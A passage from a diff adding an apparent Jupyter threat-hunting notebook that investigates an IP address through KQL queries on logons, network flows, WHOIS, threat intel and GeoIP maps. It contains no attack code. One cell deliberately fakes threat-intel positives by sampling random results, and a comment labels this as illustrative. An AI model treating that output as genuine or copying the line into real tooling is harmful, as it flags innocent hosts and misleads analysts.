"\n", + " # logonpyvis_graph.add_node(src, src, title=src)\n", + " # logonpyvis_graph.add_node(dst, dst, title=dst)\n", + " # logonpyvis_graph.add_edge(src, dst, value=w)\n", + "\n", + " # neighbor_map = logonpyvis_graph.get_adj_list()\n", + "\n", + " # # add neighbor data to node hover data\n", + " # for node in logonpyvis_graph.nodes:\n", + " # node[\"title\"] += \" Neighbors:
\" + \"
\".join(neighbor_map[node[\"id\"]])\n", + " # node[\"value\"] = len(neighbor_map[node[\"id\"]]) \n", + "\n", + " # logonpyvis_graph.show(\"hostlogonpyvis_graph.html\")\n", + "else:\n", + " md(f'Analysis section Not Applicable since IP address owner is {ipaddr_origin}', styles=[\"bold\",\"red\"])" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "[Contents](#toc)\n", + "## Related Accounts\n", + "**Hypothesis:** That an attacker has gained access to the host, compromized credentials for the accounts on it and laterally moving to the network gaining access to more accounts.\n", + "\n", + "This section provides related accounts of IP address which is being investigated. .If you wish to expand the scope of hunting then investigate each accounts in detail, it is recommended that to use the **Account Explorer Notebook (include link).**" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "ExecuteTime": { + "end_time": "2019-09-10T20:12:42.022358Z", + "start_time": "2019-09-10T20:12:42.010961Z" + } + }, + "source": [ + "[Contents](#toc)\n", + "### Visualization - Networkx Graph" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:05:36.951055Z", + "start_time": "2020-05-15T23:05:35.741976Z" + } + }, + "outputs": [], + "source": [ + "if ipaddr_origin == \"Internal\":\n", + " # Retrived relatd accounts from SecurityEvent table for Windows OS\n", + " if ip_entity['OSType'] =='Windows':\n", + " if \"SecurityEvent\" not in available_datasets:\n", + " raise ValueError(\"No Windows event log data available in the workspace\")\n", + " else:\n", + " related_accounts = \"\"\"\n", + " SecurityEvent\n", + " | where TimeGenerated >= datetime({start}) and TimeGenerated <= datetime({end})\n", + " | where IpAddress == \\'{ip_address}\\' or Computer == \\'{hostname}\\' \n", + " | summarize count() by Account, Computer\n", + " \"\"\".format(\n", + " **ipaddr_query_params(), hostname=hostname\n", + " )\n", + " related_accounts_df = qry_prov.exec_query(related_accounts)\n", + "\n", + " elif ip_entity['OSType'] =='Linux':\n", + " if \"Syslog\" not in available_datasets:\n", + " raise ValueError(\"No Linux syslog data available in the workspace\")\n", + " else:\n", + " related_accounts_df = qry_prov.LinuxSyslog.list_logons_for_source_ip(invest_times, ip_address=ipaddr_query_params()['ip_address'],add_query_items='extend Account = AccountName | summarize count() by Account, Computer')\n", + "\n", + "\n", + " # Uncomment- below cells if above visualization does not render - Networkx connected Graph\n", + " plt.figure(10, figsize=(22, 14))\n", + " g = nx.from_pandas_edgelist(related_accounts_df, \"Computer\", \"Account\")\n", + " md('Entity Relationship Graph - Related Accounts :: ',styles=[\"bold\",\"green\"])\n", + " nx.draw_circular(g, with_labels=True, size=40, font_size=12, font_color=\"blue\")\n", + "\n", + " # Uncomment below cells if you want to display interactive graphs using Pyvis library, Azure notebook free tier may not render the graph correctly.\n", + " # acclogon_pyvisgraph = Network(notebook=True, height=\"750px\", width=\"100%\", bgcolor=\"#222222\", font_color=\"white\")\n", + "\n", + " # # set the physics layout of the network\n", + " # acclogon_pyvisgraph.barnes_hut()\n", + "\n", + "\n", + " # sources = related_accounts_df['Computer']\n", + " # targets = related_accounts_df['Account']\n", + " # weights = related_accounts_df['count_']\n", + "\n", + " # edge_data = zip(sources, targets, weights)\n", + "\n", + " # for e in edge_data:\n", + " # src = e[0]\n", + " # dst = e[1]\n", + " # w = e[2]\n", + "\n", + " # acclogon_pyvisgraph.add_node(src, src, title=src)\n", + " # acclogon_pyvisgraph.add_node(dst, dst, title=dst)\n", + " # acclogon_pyvisgraph.add_edge(src, dst, value=w)\n", + "\n", + " # neighbor_map = acclogon_pyvisgraph.get_adj_list()\n", + "\n", + " # # add neighbor data to node hover data\n", + " # for node in acclogon_pyvisgraph.nodes:\n", + " # node[\"title\"] += \" Neighbors:
\" + \"
\".join(neighbor_map[node[\"id\"]])\n", + " # node[\"value\"] = len(neighbor_map[node[\"id\"]]) # this value attrribute for the node affects node size\n", + "\n", + " # acclogon_pyvisgraph.show(\"accountlogonpyvis_graph.html\")\n", + "else:\n", + " md(f'Analysis section Not Applicable since IP address owner is {ipaddr_origin}', styles=[\"bold\",\"red\"])" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "ExecuteTime": { + "end_time": "2019-08-30T15:50:05.854226Z", + "start_time": "2019-08-30T15:50:04.517392Z" + } + }, + "source": [ + "[Contents](#toc)\n", + "## Logon Summary for Related Entities\n", + "**Hypothesis:** By analyzing logon activities of the related entities, we can identify change in logon patterns and narrow down the entities to few suspicious logon patterns.\n", + "\n", + "This section provides various visualization of logon attributes such as \n", + "- Weekly Failed Logon trend\n", + "- Logon Types \n", + "- Logon Processes\n", + "\n", + "If you wish to expand the scope of hunting then investigate specific host in detail, it is recommended that to use the **Host Explorer Notebook (include link).**" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "ExecuteTime": { + "end_time": "2019-09-10T20:18:33.673179Z", + "start_time": "2019-09-10T20:18:33.670042Z" + } + }, + "source": [ + "[Contents](#toc)\n", + "### HeatMap for Weekly failed logons" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:05:46.615934Z", + "start_time": "2020-05-15T23:05:44.570772Z" + } + }, + "outputs": [], + "source": [ + "if ipaddr_origin == \"Internal\":\n", + " # Retrived related accounts from SecurityEvent table for Windows OS\n", + " if ip_entity['OSType'] =='Windows':\n", + " if \"SecurityEvent\" not in available_datasets:\n", + " raise ValueError(\"No Windows event log data available in the workspace\")\n", + " else:\n", + " failed_logons = \"\"\"\n", + " SecurityEvent\n", + " | where EventID in (4624,4625) | where IpAddress == \\'{ip_address}\\' or Computer == \\'{hostname}\\' \n", + " | where TimeGenerated >= datetime({start}) and TimeGenerated <= datetime({end})\n", + " | extend DayofWeek = case(dayofweek(TimeGenerated) == time(1.00:00:00), \"Monday\", \n", + " dayofweek(TimeGenerated) == time(2.00:00:00), \"Tuesday\",\n", + " dayofweek(TimeGenerated) == time(3.00:00:00), \"Wednesday\",\n", + " dayofweek(TimeGenerated) == time(4.00:00:00), \"Thursday\",\n", + " dayofweek(TimeGenerated) == time(5.00:00:00), \"Friday\",\n", + " dayofweek(TimeGenerated) == time(6.00:00:00), \"Saturday\",\n", + " \"Sunday\")\n", + " | summarize LogonCount=count() by DayofWeek, HourOfDay=format_datetime(bin(TimeGenerated,1h),'HH:mm')\n", + " \"\"\".format(\n", + " **ipaddr_query_params(), hostname=hostname\n", + " )\n", + " failed_logons_df = qry_prov.exec_query(failed_logons)\n", + "\n", + " elif ip_entity['OSType'] =='Linux':\n", + " if \"Syslog\" not in available_datasets:\n", + " raise ValueError(\"No Linux syslog data available in the workspace\")\n", + " else: \n", + " failed_logons_df = qry_prov.LinuxSyslog.user_logon(invest_times, account_name ='', add_query_items=\"\"\"| where HostIP == '{ipaddr_text.value}' |extend Account = AccountName | extend DayofWeek = case(dayofweek(TimeGenerated) == time(1.00:00:00), \"Monday\", dayofweek(TimeGenerated) == time(2.00:00:00), \"Tuesday\",\n", + " dayofweek(TimeGenerated) == time(3.00:00:00), \"Wednesday\",\n", + " dayofweek(TimeGenerated) == time(4.00:00:00), \"Thursday\",\n", + " dayofweek(TimeGenerated) == time(5.00:00:00), \"Friday\",\n", + " dayofweek(TimeGenerated) == time(6.00:00:00), \"Saturday\", \"Sunday\") | summarize LogonCount=count() by DayofWeek, HourOfDay=format_datetime(bin(TimeGenerated,1h),'HH:mm')\"\"\")\n", + "\n", + " # Plotting hearmap using seaborn library if there are failed logons\n", + " if len(failed_logons_df) > 0:\n", + " df_pivot = (\n", + " failed_logons_df.reset_index()\n", + " .pivot_table(index=\"DayofWeek\", columns=\"HourOfDay\", values=\"LogonCount\")\n", + " .fillna(0)\n", + " )\n", + " display(\n", + " Markdown(\n", + " f'### Heatmap - Weekly Failed Logon Trend :: '\n", + " )\n", + " )\n", + " f, ax = plt.subplots(figsize=(16, 8))\n", + " hm1 = sns.heatmap(df_pivot, cmap=\"YlGnBu\", ax=ax)\n", + " plt.xticks(rotation=45)\n", + " plt.yticks(rotation=30)\n", + " else:\n", + " linux_logons=qry_prov.LinuxSyslog.list_logons_for_source_ip(**ipaddr_query_params())\n", + " failed_logons = (logon_events[logon_events['LogonResult'] == 'Failure'])\n", + "else:\n", + " md(f'Analysis section Not Applicable since IP address owner is {ipaddr_origin}', styles=[\"bold\",\"red\"])" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "[Contents](#toc)\n", + "### Host Logons Timeline" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:05:49.256466Z", + "start_time": "2020-05-15T23:05:49.190460Z" + } + }, + "outputs": [], + "source": [ + "# set the origin time to the time of our alert\n", + "try:\n", + " origin_time = (related_alert.TimeGenerated \n", + " if recenter_wgt.value \n", + " else query_times.origin_time)\n", + "except NameError:\n", + " origin_time = query_times.origin_time\n", + " \n", + "logon_query_times = nbwidgets.QueryTime(\n", + " units=\"day\",\n", + " origin_time=origin_time,\n", + " before=5,\n", + " after=1,\n", + " max_before=20,\n", + " max_after=20,\n", + ")\n", + "logon_query_times.display()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:05:55.096129Z", + "start_time": "2020-05-15T23:05:52.661823Z" + } + }, + "outputs": [], + "source": [ + "if ipaddr_origin == \"Internal\":\n", + " host_logons = qry_prov.WindowsSecurity.list_host_logons(\n", + " logon_query_times, host_name=hostname\n", + " )\n", + "\n", + " if host_logons is not None and not host_logons.empty:\n", + " display(Markdown(\"### Logon timeline.\"))\n", + " tooltip_cols = [\n", + " \"TargetUserName\",\n", + " \"TargetDomainName\",\n", + " \"SubjectUserName\",\n", + " \"SubjectDomainName\",\n", + " \"LogonType\",\n", + " \"IpAddress\",\n", + " ]\n", + " nbdisplay.display_timeline(\n", + " data=host_logons,\n", + " group_by=\"TargetUserName\",\n", + " source_columns=tooltip_cols,\n", + " legend=\"right\", yaxis=True\n", + " )\n", + "\n", + " display(Markdown(\"### Counts of logon events by logon type.\"))\n", + " display(Markdown(\"Min counts for each logon type highlighted.\"))\n", + " logon_by_type = (\n", + " host_logons[[\"Account\", \"LogonType\", \"EventID\"]]\n", + " .astype({'LogonType': 'int32'})\n", + " .merge(right=pd.Series(data=nbdisplay._WIN_LOGON_TYPE_MAP, name=\"LogonTypeDesc\"),\n", + " left_on=\"LogonType\", right_index=True)\n", + " .drop(columns=\"LogonType\")\n", + " .groupby([\"Account\", \"LogonTypeDesc\"])\n", + " .count()\n", + " .unstack()\n", + " .rename(columns={\"EventID\": \"LogonCount\"})\n", + " .fillna(0)\n", + " .style\n", + " .background_gradient(cmap=\"viridis\", low=0.5, high=0)\n", + " .format(\"{0:0>3.0f}\")\n", + " )\n", + " display(logon_by_type)\n", + " else:\n", + " display(Markdown(\"No logon events found for host.\"))\n", + "else:\n", + " md(f'Analysis section Not Applicable since IP address owner is {ipaddr_origin}', styles=[\"bold\",\"red\"])" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Failed Logons Timeline" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:06:01.493064Z", + "start_time": "2020-05-15T23:05:59.580819Z" + }, + "scrolled": true + }, + "outputs": [], + "source": [ + "if ipaddr_origin == \"Internal\":\n", + " failedLogons = qry_prov.WindowsSecurity.list_host_logon_failures(\n", + " logon_query_times, host_name=ip_entity.hostname\n", + " )\n", + " if failedLogons.empty:\n", + " print(\"No logon failures recorded for this host between \",\n", + " f\" {logon_query_times.start} and {logon_query_times.end}\"\n", + " )\n", + " else:\n", + " nbdisplay.display_timeline(\n", + " data=host_logons.query('TargetLogonId != \"0x3e7\"'),\n", + " overlay_data=failedLogons,\n", + " alert=related_alert,\n", + " title=\"Logons (blue=user-success, green=failed)\",\n", + " source_columns=tooltip_cols,\n", + " height=200,\n", + " )\n", + " display(failedLogons\n", + " .astype({'LogonType': 'int32'})\n", + " .merge(right=pd.Series(data=nbdisplay._WIN_LOGON_TYPE_MAP, name=\"LogonTypeDesc\"),\n", + " left_on=\"LogonType\", right_index=True)\n", + " [['Account', 'EventID', 'TimeGenerated',\n", + " 'Computer', 'SubjectUserName', 'SubjectDomainName',\n", + " 'TargetUserName', 'TargetDomainName',\n", + " 'LogonTypeDesc','IpAddress', 'WorkstationName'\n", + " ]])\n", + "else:\n", + " md(f'Analysis section Not Applicable since IP address owner is {ipaddr_origin}', styles=[\"bold\",\"red\"])" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "ExecuteTime": { + "end_time": "2019-08-30T15:52:54.700099Z", + "start_time": "2019-08-30T15:52:54.661189Z" + } + }, + "source": [ + "[Contents](#toc)\n", + "## Network Connection Analysis\n", + "\n", + "**Hypothesis:** That an attacker is remotely communicating with the host in order to compromise the host or for outbound communication to C2 for data exfiltration purposes after compromising the host.\n", + "\n", + "This section provides an overview of network activity to and from the host during hunting time frame, the purpose of this is for the identification of anomalous network traffic. If you wish to investigate a specific IP in detail it is recommended that to use another instance of this notebook with each IP addresses.\n", + "\n", + "> Note: this query can return a lot of data for active hosts\n", + "> If your query times out, try reducing the time range, breaking the analysis\n", + "> into chunks" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "[Contents](#toc)\n", + "### Network Check Communications with Other Hosts" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:06:06.486183Z", + "start_time": "2020-05-15T23:06:06.429184Z" + } + }, + "outputs": [], + "source": [ + "ip_q_times = nbwidgets.QueryTime(\n", + " label=\"Set time bounds for network queries\",\n", + " units=\"hour\",\n", + " max_before=120,\n", + " before=5,\n", + " after=5,\n", + " max_after=60,\n", + " origin_time=logon_query_times.origin_time\n", + ")\n", + "ip_q_times.display()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "[Contents](#toc)\n", + "### Query Flows by IP Address" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:06:22.160247Z", + "start_time": "2020-05-15T23:06:10.292782Z" + } + }, + "outputs": [], + "source": [ + "if \"AzureNetworkAnalytics_CL\" not in available_datasets:\n", + " md_warn(\"No network flow data available.\")\n", + " md(\"Please skip the remainder of this section and go to [Time-Series-Anomalies](#Outbound-Data-transfer-Time-Series-Anomalies)\")\n", + " az_net_comms_df = None\n", + "else:\n", + " all_host_ips = (\n", + " ip_entity['private_ips'] + ip_entity['public_ips']\n", + " )\n", + " host_ips = [i.Address for i in all_host_ips]\n", + "\n", + " az_net_comms_df = qry_prov.Network.list_azure_network_flows_by_ip(\n", + " ip_q_times, ip_address_list=host_ips\n", + " )\n", + "\n", + " if isinstance(az_net_comms_df, pd.DataFrame) and not az_net_comms_df.empty:\n", + " az_net_comms_df['TotalAllowedFlows'] = az_net_comms_df['AllowedOutFlows'] + az_net_comms_df['AllowedInFlows']\n", + " nbdisplay.display_timeline(\n", + " data=az_net_comms_df,\n", + " group_by=\"L7Protocol\",\n", + " title=\"Network Flows by Protocol\",\n", + " time_column=\"FlowStartTime\",\n", + " source_columns=[\"FlowType\", \"AllExtIPs\", \"L7Protocol\", \"FlowDirection\"],\n", + " height=300,\n", + " legend=\"right\",\n", + " yaxis=True\n", + " )\n", + " nbdisplay.display_timeline(\n", + " data=az_net_comms_df,\n", + " group_by=\"FlowDirection\",\n", + " title=\"Network Flows by Direction\",\n", + " time_column=\"FlowStartTime\",\n", + " source_columns=[\"FlowType\", \"AllExtIPs\", \"L7Protocol\", \"FlowDirection\"],\n", + " height=300,\n", + " legend=\"right\",\n", + " yaxis=True\n", + " )\n", + " else:\n", + " md_warn(\"No network data for specified time range.\")\n", + " md(\"Please skip the remainder of this section and go to [Time-Series-Anomalies](#Outbound-Data-transfer-Time-Series-Anomalies)\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:06:50.373391Z", + "start_time": "2020-05-15T23:06:50.084392Z" + } + }, + "outputs": [], + "source": [ + "try:\n", + " flow_plot = nbdisplay.display_timeline_values(\n", + " data=az_net_comms_df,\n", + " group_by=\"L7Protocol\",\n", + " source_columns=[\"FlowType\", \n", + " \"AllExtIPs\", \n", + " \"L7Protocol\", \n", + " \"FlowDirection\", \n", + " \"TotalAllowedFlows\"],\n", + " time_column=\"FlowStartTime\",\n", + " y=\"TotalAllowedFlows\",\n", + " legend=\"right\",\n", + " height=500,\n", + " kind=[\"vbar\", \"circle\"],\n", + " );\n", + "except NameError as err:\n", + " md(f\"Error Occured, Make sure to execute previous cells in notebook: {err}\",styles=[\"bold\",\"red\"])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:06:55.928554Z", + "start_time": "2020-05-15T23:06:55.790553Z" + } + }, + "outputs": [], + "source": [ + "try:\n", + " if az_net_comms_df is not None and not az_net_comms_df.empty:\n", + " cm = sns.light_palette(\"green\", as_cmap=True)\n", + "\n", + " cols = [\n", + " \"VMName\",\n", + " \"VMIPAddress\",\n", + " \"PublicIPs\",\n", + " \"SrcIP\",\n", + " \"DestIP\",\n", + " \"L4Protocol\",\n", + " \"L7Protocol\",\n", + " \"DestPort\",\n", + " \"FlowDirection\",\n", + " \"AllExtIPs\",\n", + " \"TotalAllowedFlows\",\n", + " ]\n", + " flow_index = az_net_comms_df[cols].copy()\n", + "\n", + " def get_source_ip(row):\n", + " if row.FlowDirection == \"O\":\n", + " return row.VMIPAddress if row.VMIPAddress else row.SrcIP\n", + " else:\n", + " return row.AllExtIPs if row.AllExtIPs else row.DestIP\n", + "\n", + " def get_dest_ip(row):\n", + " if row.FlowDirection == \"O\":\n", + " return row.AllExtIPs if row.AllExtIPs else row.DestIP\n", + " else:\n", + " return row.VMIPAddress if row.VMIPAddress else row.SrcIP\n", + " \n", + " flow_index[\"source\"] = flow_index.apply(get_source_ip, axis=1)\n", + " flow_index[\"dest\"] = flow_index.apply(get_dest_ip, axis=1)\n", + " display(flow_index)\n", + "\n", + " # Uncomment to view flow_index results\n", + " # with warnings.catch_warnings():\n", + " # warnings.simplefilter(\"ignore\")\n", + " # display(\n", + " # flow_index[\n", + " # [\"source\", \"dest\", \"L7Protocol\", \"FlowDirection\", \"TotalAllowedFlows\"]\n", + " # ]\n", + " # .groupby([\"source\", \"dest\", \"L7Protocol\", \"FlowDirection\"])\n", + " # .sum()\n", + " # .reset_index()\n", + " # .style.bar(subset=[\"TotalAllowedFlows\"], color=\"#d65f5f\")\n", + " # )\n", + "except NameError as err:\n", + " md(f\"Error Occured, Make sure to execute previous cells in notebook: {err}\",styles=[\"bold\",\"red\"])" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "[Contents](#toc)\n", + "### Bulk whois lookup " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:08:00.744206Z", + "start_time": "2020-05-15T23:07:01.493951Z" + } + }, + "outputs": [], + "source": [ + "# Bulk WHOIS lookup function\n", + "from functools import lru_cache\n", + "from ipwhois import IPWhois\n", + "from ipaddress import ip_address\n", + "\n", + "try:\n", + " # Add ASN informatio from Whois\n", + " flows_df = (\n", + " flow_index[[\"source\", \"dest\", \"L7Protocol\", \"FlowDirection\", \"TotalAllowedFlows\"]]\n", + " .groupby([\"source\", \"dest\", \"L7Protocol\", \"FlowDirection\"])\n", + " .sum()\n", + " .reset_index()\n", + " )\n", + "\n", + " num_ips = len(flows_df[\"source\"].unique()) + len(flows_df[\"dest\"].unique())\n", + " print(f\"Performing WhoIs lookups for {num_ips} IPs \", end=\"\")\n", + " #flows_df = flows_df.assign(DestASN=\"\", DestASNFull=\"\", SourceASN=\"\", SourceASNFull=\"\")\n", + " flows_df[\"DestASN\"] = flows_df.apply(lambda x: get_whois_info(x.dest, True), axis=1)\n", + " flows_df[\"SourceASN\"] = flows_df.apply(lambda x: get_whois_info(x.source, True), axis=1)\n", + " print(\"done\")\n", + "\n", + " # Split the tuple returned by get_whois_info into separate columns\n", + " flows_df[\"DestASNFull\"] = flows_df.apply(lambda x: x.DestASN[1], axis=1)\n", + " flows_df[\"DestASN\"] = flows_df.apply(lambda x: x.DestASN[0], axis=1)\n", + " flows_df[\"SourceASNFull\"] = flows_df.apply(lambda x: x.SourceASN[1], axis=1)\n", + " flows_df[\"SourceASN\"] = flows_df.apply(lambda x: x.SourceASN[0], axis=1)\n", + "\n", + " our_host_asns = [get_whois_info(ip.Address)[0] for ip in ip_entity.public_ips]\n", + " md(f\"Host {ip_entity.hostname} ASNs:\", \"bold\")\n", + " md(str(our_host_asns))\n", + "\n", + " flow_sum_df = flows_df.groupby([\"DestASN\", \"SourceASN\"]).agg(\n", + " TotalAllowedFlows=pd.NamedAgg(column=\"TotalAllowedFlows\", aggfunc=\"sum\"),\n", + " L7Protocols=pd.NamedAgg(column=\"L7Protocol\", aggfunc=lambda x: x.unique().tolist()),\n", + " source_ips=pd.NamedAgg(column=\"source\", aggfunc=lambda x: x.unique().tolist()),\n", + " dest_ips=pd.NamedAgg(column=\"dest\", aggfunc=lambda x: x.unique().tolist()),\n", + " ).reset_index()\n", + " flow_sum_df\n", + "except NameError as err:\n", + " md(f\"Error Occured, Make sure to execute previous cells in notebook: {err}\",styles=[\"bold\",\"red\"])" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Choose ASNs/IPs to Check for Threat Intel Reports\n", + "Choose from the list of Selected ASNs for the IPs you wish to check on.\n", + "The Source list is been pre-populated with all ASNs found in the network flow summary.\n", + "\n", + "As an example, we've populated the `Selected` list with the ASNs that have the lowest number of flows to and from the host. We also remove the ASN that matches the ASN of the host we are investigating.\n", + "\n", + "Please edit this list, using flow summary data above as a guide and leaving only ASNs that you are suspicious about. Typicially these would be ones with relatively low `TotalAllowedFlows` and possibly with unusual `L7Protocols`." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:08:01.347207Z", + "start_time": "2020-05-15T23:08:01.287206Z" + } + }, + "outputs": [], + "source": [ + "try:\n", + " if isinstance(flow_sum_df, pd.DataFrame) and not flow_sum_df.empty:\n", + " all_asns = list(flow_sum_df[\"DestASN\"].unique()) + list(flow_sum_df[\"SourceASN\"].unique())\n", + " all_asns = set(all_asns) - set([\"private address\"])\n", + "\n", + " # Select the ASNs in the 25th percentile (lowest number of flows)\n", + " quant_25pc = flow_sum_df[\"TotalAllowedFlows\"].quantile(q=[0.25]).iat[0]\n", + " quant_25pc_df = flow_sum_df[flow_sum_df[\"TotalAllowedFlows\"] <= quant_25pc]\n", + " other_asns = list(quant_25pc_df[\"DestASN\"].unique()) + list(quant_25pc_df[\"SourceASN\"].unique())\n", + " other_asns = set(other_asns) - set(our_host_asns)\n", + " md(\"Choose IPs from Selected ASNs to look up for Threat Intel.\", \"bold\")\n", + " sel_asn = nbwidgets.SelectSubset(source_items=all_asns, default_selected=other_asns)\n", + "except NameError as err:\n", + " md(f\"Error Occured, Make sure to execute previous cells in notebook: {err}\",styles=[\"bold\",\"red\"])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:08:14.516746Z", + "start_time": "2020-05-15T23:08:01.935205Z" + } + }, + "outputs": [], + "source": [ + "try:\n", + " if isinstance(flow_sum_df, pd.DataFrame) and not flow_sum_df.empty:\n", + " ti_lookup = TILookup()\n", + " from itertools import chain\n", + " dest_ips = set(chain.from_iterable(flow_sum_df[flow_sum_df[\"DestASN\"].isin(sel_asn.selected_items)][\"dest_ips\"]))\n", + " src_ips = set(chain.from_iterable(flow_sum_df[flow_sum_df[\"SourceASN\"].isin(sel_asn.selected_items)][\"source_ips\"]))\n", + " selected_ips = dest_ips | src_ips\n", + " print(f\"{len(selected_ips)} unique IPs in selected ASNs\")\n", + "\n", + " # Add the IoCType to save cost of inferring each item\n", + " selected_ip_dict = {ip: \"ipv4\" for ip in selected_ips}\n", + " ti_results = ti_lookup.lookup_iocs(data=selected_ip_dict)\n", + "\n", + " print(f\"{len(ti_results)} results received.\")\n", + "\n", + " # ti_results_pos = ti_results[ti_results[\"Severity\"] > 0]\n", + " #####\n", + " # WARNING - faking results for illustration purposes\n", + " #####\n", + " ti_results_pos = ti_results.sample(n=2)\n", + "\n", + " print(f\"{len(ti_results_pos)} positive results found.\")\n", + "\n", + "\n", + " if not ti_results_pos.empty:\n", + " src_pos = flows_df.merge(ti_results_pos, left_on=\"source\", right_on=\"Ioc\")\n", + " dest_pos = flows_df.merge(ti_results_pos, left_on=\"dest\", right_on=\"Ioc\")\n", + " ti_ip_results = pd.concat([src_pos, dest_pos])\n", + " md_warn(\"Positive Threat Intel Results found for the following flows\")\n", + " md(\"Please examine these IP flows using the IP Explorer notebook.\", \"bold, large\")\n", + " display(ti_ip_results)\n", + "except NameError as err:\n", + " md(f\"Error Occured, Make sure to execute previous cells in notebook: {err}\",styles=[\"bold\",\"red\"])" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + " ### GeoIP Map of External IPs" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:08:16.023912Z", + "start_time": "2020-05-15T23:08:15.611915Z" + } + }, + "outputs": [], + "source": [ + "iplocation = GeoLiteLookup()\n", + "def format_ip_entity(row, ip_col):\n", + " ip_entity = entities.IpAddress(Address=row[ip_col])\n", + " iplocation.lookup_ip(ip_entity=ip_entity)\n", + " ip_entity.AdditionalData[\"protocol\"] = row.L7Protocol\n", + " if \"severity\" in row:\n", + " ip_entity.AdditionalData[\"threat severity\"] = row[\"severity\"]\n", + " if \"Details\" in row:\n", + " ip_entity.AdditionalData[\"threat details\"] = row[\"Details\"]\n", + " return ip_entity\n", + "\n", + "# from msticpy.nbtools.foliummap import FoliumMap\n", + "folium_map = FoliumMap()\n", + "if az_net_comms_df is None or az_net_comms_df.empty:\n", + " print(\"No network flow data available.\")\n", + "else:\n", + " # Get the flow records for all flows not in the TI results\n", + " selected_out = flows_df[flows_df[\"DestASN\"].isin(sel_asn.selected_items)]\n", + " selected_out = selected_out[~selected_out[\"dest\"].isin(ti_ip_results[\"Ioc\"])]\n", + " if selected_out.empty:\n", + " ips_out = []\n", + " else:\n", + " ips_out = list(selected_out.apply(lambda x: format_ip_entity(x, \"dest\"), axis=1))\n", + " \n", + " selected_in = flows_df[flows_df[\"SourceASN\"].isin(sel_asn.selected_items)]\n", + " selected_in = selected_in[~selected_in[\"source\"].isin(ti_ip_results[\"Ioc\"])]\n", + " if selected_in.empty:\n", + " ips_in = []\n", + " else:\n", + " ips_in = list(selected_in.apply(lambda x: format_ip_entity(x, \"source\"), axis=1))\n", + "\n", + " ips_threats = list(ti_ip_results.apply(lambda x: format_ip_entity(x, \"Ioc\"), axis=1))\n", + "\n", + " display(HTML(\"

External IP Addresses communicating with host

\"))\n", + " display(HTML(\"Numbered circles indicate multiple items - click to expand\"))\n", + " display(HTML(\"Location markers:
Blue = outbound, Purple = inbound, Green = Host, Red = Threats\"))\n", + "\n", + " icon_props = {\"color\": \"green\"}\n", + " for ips in ip_entity.public_ips:\n", + " ips.AdditionalData[\"host\"] = ip_entity.hostname\n", + " folium_map.add_ip_cluster(ip_entities=ip_entity.public_ips, **icon_props)\n", + " icon_props = {\"color\": \"blue\"}\n", + " folium_map.add_ip_cluster(ip_entities=ips_out, **icon_props)\n", + " icon_props = {\"color\": \"purple\"}\n", + " folium_map.add_ip_cluster(ip_entities=ips_in, **icon_props)\n", + " icon_props = {\"color\": \"red\"}\n", + " folium_map.add_ip_cluster(ip_entities=ips_threats, **icon_props)\n", + " \n", + " display(folium_map)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "ExecuteTime": { + "end_time": "2019-09-05T18:03:37.980223Z", + "start_time": "2019-09-05T18:03:37.804856Z" + } + }, + "source": [ + "[Contents](#toc)\n", + "### Outbound Data transfer Time Series Anomalies" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "This section will look into the network datasources to check outbound data transfer trends. \n", + "You can also use time series analysis using below built-in KQL query example to analyze anamalous data transfer trends.below example shows sample dataset trends comparing with actual vs baseline traffic trends." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:08:42.937737Z", + "start_time": "2020-05-15T23:08:41.794266Z" + } + }, + "outputs": [], + "source": [ + "if \"VMConnection\" in table_index or \"CommonSecurityLog\" in table_index:\n", + " # KQL query for full text search of IP address and display all datatypes\n", + " dataxfer_stats = \"\"\"\n", + " union isfuzzy=true\n", + " (\n", + " CommonSecurityLog \n", + " | where TimeGenerated >= datetime({start}) and TimeGenerated <= datetime({end})\n", + " | where isnotempty(DestinationIP) and isnotempty(SourceIP)\n", + " | where SourceIP == \\'{ip_address}\\'\n", + " | extend SentBytesinKB = (SentBytes / 1024), ReceivedBytesinKB = (ReceivedBytes / 1024)\n", + " | summarize DailyCount = count(), ListOfDestPorts = make_set(DestinationPort), TotalSentBytesinKB = sum(SentBytesinKB), TotalReceivedBytesinKB = sum(ReceivedBytesinKB) by SourceIP, DestinationIP, 